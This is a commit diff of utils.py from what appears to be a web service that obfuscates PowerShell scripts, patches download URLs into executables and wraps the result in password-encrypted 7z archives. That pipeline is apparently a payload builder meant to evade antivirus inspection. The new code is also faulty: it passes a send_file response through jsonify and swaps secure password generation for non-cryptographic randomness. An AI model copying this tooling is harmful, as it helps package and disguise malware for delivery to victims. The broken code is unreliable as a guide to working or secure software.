Spaces:
Sleeping
Sleeping
Update utils.py
Browse files
utils.py
CHANGED
@@ -8,7 +8,6 @@ import shutil
|
|
8 |
import tempfile
|
9 |
import requests
|
10 |
import json
|
11 |
-
import secrets
|
12 |
|
13 |
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
|
14 |
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
|
@@ -22,6 +21,9 @@ POWERSHELL_FILE_PATH = os.path.join(PE_FOLDER, "powershell.ps1")
|
|
22 |
def generate_random_string(length=8):
|
23 |
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
|
24 |
|
|
|
|
|
|
|
25 |
def obfuscate_powershell_script(ps1_path):
|
26 |
try:
|
27 |
cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
|
@@ -188,28 +190,6 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
|
|
188 |
except Exception as e:
|
189 |
raise Exception(f"An error occurred: {e}")
|
190 |
|
191 |
-
# Function to generate a random password
|
192 |
-
def generate_random_password(length=12):
|
193 |
-
# Use a combination of letters, digits, and special characters
|
194 |
-
characters = string.ascii_letters + string.digits + "!@#$%^&*"
|
195 |
-
return ''.join(secrets.choice(characters) for _ in range(length))
|
196 |
-
|
197 |
-
# Function to create an encrypted 7z archive
|
198 |
-
def create_encrypted_7z_archive(file_path, password):
|
199 |
-
archive_name = generate_random_string() + ".7z"
|
200 |
-
archive_path = os.path.join(os.path.dirname(file_path), archive_name)
|
201 |
-
|
202 |
-
# Use 7z command to create an encrypted archive
|
203 |
-
try:
|
204 |
-
subprocess.run([
|
205 |
-
"7z", "a", "-t7z", "-mx=9", "-m0=LZMA2", f"-p{password}", archive_path, file_path
|
206 |
-
], check=True)
|
207 |
-
except subprocess.CalledProcessError as e:
|
208 |
-
raise Exception(f"Failed to create encrypted 7z archive: {e}")
|
209 |
-
|
210 |
-
return archive_path
|
211 |
-
|
212 |
-
# Function to process the request
|
213 |
def process_request(request):
|
214 |
temp_dir = None # Initialize temp_dir to be used in the finally block
|
215 |
try:
|
@@ -274,19 +254,16 @@ def process_request(request):
|
|
274 |
new_string=os.path.basename(download_url)
|
275 |
)
|
276 |
|
277 |
-
#
|
|
|
|
|
278 |
password = generate_random_password()
|
|
|
|
|
|
|
279 |
|
280 |
-
#
|
281 |
-
archive_path =
|
282 |
-
|
283 |
-
# Return the encrypted archive as a file and the password in the response
|
284 |
-
return send_file(
|
285 |
-
archive_path,
|
286 |
-
as_attachment=True,
|
287 |
-
download_name=os.path.basename(archive_path),
|
288 |
-
mimetype='application/octet-stream'
|
289 |
-
), password
|
290 |
|
291 |
except Exception as e:
|
292 |
current_app.logger.error(f"An error occurred: {str(e)}")
|
|
|
8 |
import tempfile
|
9 |
import requests
|
10 |
import json
|
|
|
11 |
|
12 |
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
|
13 |
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
|
|
|
21 |
def generate_random_string(length=8):
|
22 |
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
|
23 |
|
24 |
+
def generate_random_password(length=12):
|
25 |
+
return ''.join(random.choices(string.ascii_letters + string.digits + string.punctuation, k=length))
|
26 |
+
|
27 |
def obfuscate_powershell_script(ps1_path):
|
28 |
try:
|
29 |
cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
|
|
|
190 |
except Exception as e:
|
191 |
raise Exception(f"An error occurred: {e}")
|
192 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
193 |
def process_request(request):
|
194 |
temp_dir = None # Initialize temp_dir to be used in the finally block
|
195 |
try:
|
|
|
254 |
new_string=os.path.basename(download_url)
|
255 |
)
|
256 |
|
257 |
+
# Create a .7z archive with ultra compression and LZMA2, and encrypt it with a password
|
258 |
+
archive_name = generate_random_string() + ".7z"
|
259 |
+
archive_path = os.path.join(temp_dir, archive_name)
|
260 |
password = generate_random_password()
|
261 |
+
subprocess.run([
|
262 |
+
"7z", "a", "-t7z", "-p" + password, "-mx=9", "-m0=LZMA2", archive_path, modified_pe_path
|
263 |
+
], check=True)
|
264 |
|
265 |
+
# Return the .7z file in the response, along with the password
|
266 |
+
return jsonify({"archive": send_file(archive_path, as_attachment=True, download_name=archive_name), "password": password})
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
267 |
|
268 |
except Exception as e:
|
269 |
current_app.logger.error(f"An error occurred: {str(e)}")
|